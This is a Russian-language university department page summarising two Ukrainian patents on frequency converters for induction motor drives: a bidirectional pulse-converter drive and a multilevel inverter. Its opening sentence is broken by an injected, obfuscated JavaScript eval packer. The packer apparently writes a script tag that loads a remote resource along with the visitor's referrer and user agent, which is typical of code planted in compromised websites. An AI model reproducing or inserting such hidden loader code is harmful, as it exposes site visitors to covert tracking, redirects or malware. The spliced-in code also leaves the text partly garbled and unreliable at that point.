

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eybrk|var|u0026u|referrer|yhzyf||js|php'.split('|'),0,{})) кафедре Электромеханики и ТОЭ разработаны устройства для преобразования переменного тока, которые могут быть и для частотного регулирования напряжения электродвигателей.

**1. Асинхронный привод с преобразователем частоты:** патент Украины №77829, МПК H02P 27/04, Шавелкин А.А., Мирошник Д.Н./, ДонНТУ, заявка №а 2005 00561, заявл.21.01.2005, опубл.15.01.2007, бюл.№1.

Изобретение относится к области электротехники и может быть использовано для асинхронного электропривода с низковольтным источником постоянного напряжения для согласования напряжения двигателя и источника, а также его регулирования (транспорт, в металлургической промышленности на кранах, на металлорежущих станках и т.д.).

Асинхронный привод с преобразователем частоты содержит автономный инвертор

напряжения, асинхронный электродвигатель, источник постоянного напряжения, импульсный преобразователь, предназначенный для регулирования выходного напряжения инвертора, устройство управления импульсным преобразователем, устройство для блокировки импульсов управления в зависимости от режима работы электропривода и устройство для задания напряжения и частоты на выходе инвертора. Импульсный преобразователь содержит транзистор, формирователь импульсов, диод, конденсатор, дроссель и, дополнительно, второй диод, соединенный встречно-параллельно с первым диодом, и второй транзистор, соединенный встречно-параллельно с первым транзистором.

Введение в схему импульсного преобразователя повышает входное напряжение. Наличие второго транзистора, второго диода, а также введение в цепь управления первого и второго транзисторов устройства блокировки импульсов обеспечивает возможность двунаправленного потока энергии между асинхронным двигателем и источником постоянного напряжения.. Первый транзистор работает в схеме импульсного преобразователя, повышая входящее напряжение в режиме двигателя, обеспечивая прямое направление энергии от источника к двигателю. Второй транзистор работает в схеме импульсного преобразователя, снижая напряжение на конденсаторе. Узел блокировки импульсов определяет порядок включения первого и второго транзисторов, в зависимости от среднего значения входящего тока автономного инвертора напряжения.

Система автоматического регулирования напряжения на конденсаторе обеспечивает возможность регулирования и стабилизации напряжения на входе автономного инвертора напряжения независимо от режима работы электропривода

Блок задачи в цепи управления позволяет совместно управлять импульсным преобразователем и автономным инвертором напряжения, что дает возможность регулирования частотой вращения асинхронного двигателя.

Конструктивные особенности позволяют одновременно с согласованием напряжений низковольтного источника и двигателя, осуществить двусторонний обмен энергией между ними. Обеспечивается ограничение амплитуды пульсаций тока, потребляемого от источника, улучшается гармонический состав выходного напряжения преобразователя.

**2. Многоуровневый преобразователь частоты:** патент Украины №77559, МПК H02P27/04, H02M5/00 /Шавелкин А.А./, ДонНТУ, заявка № а 2005 00826, заявл.31.01.2005, опубл.15.12.2006, бюл.№12

Изобретение относится к области электротехники и может использоваться в автоматизированном электроприводе для частотного регулирования электродвигателями. Преобразователь можно использовать потребителям электроэнергии переменного тока регулируемой частоты.

Преобразователь частоты с выходными напряжениями содержит несколько мостовых инверторов напряжения, соединенных последовательно, в каждой фазной цепи преобразователя, устройство управления и, дополнительно, в каждой фазной цепи, устройство для дискретизации сигнала по уровню, вычитающее устройство, распределитель импульсов и источники постоянного напряжения. Каждый инвертор содержит четыре ключевых элемента, соединенных по мостовой схеме, и выпрямитель. Ключевой элемент содержит тиристор или транзистор с обратным диодом. Входные выводы инвертора соединены с соответствующими выходными выводами выпрямителя. Устройство управления предназначено для формирования синусоидального выходного напряжения преобразователя с заданной амплитудой и частотой. Каждый источник постоянного напряжения включен таким образом, что положительный вывод источника соединен с катодным выводом первого ключевого элемента предыдущего инвертора, а отрицательный вывод соединен с анодным выводом четвертого ключевого элемента последующего инвертора.

Конструктивные особенности устройства позволяют значительно улучшить форму выходного напряжения и гармонизировать его состав за счет увеличения количества уровней в кривой выходного напряжений  $K = (4n + 1)$  при неизменном количестве ключей в силовой схеме. При неизменном напряжении на выходе согласно количеству источников постоянного напряжения уменьшается и их напряжение. Два ключа в фазе преобразователя работают в режиме широтно-импульсной модуляции и переключаются с высокой частотой, а другие переключаются с низкой частотой, что обеспечивает уменьшением коммутационных затрат энергии при переключении ключей схемы.

Как вариант изобретение может быть использовано для уменьшения количества ключей схемы преобразователя с  $n$  источниками постоянного тока и соответственно с  $K=(2n+1)$  уровнями выходного напряжения. При этом количество ключей в фазе вместо  $(4n)$  будет только  $2(n+1)$ . Эти особенности позволяют уменьшить затраты энергии в ключах, массу, габариты и стоимость преобразователя.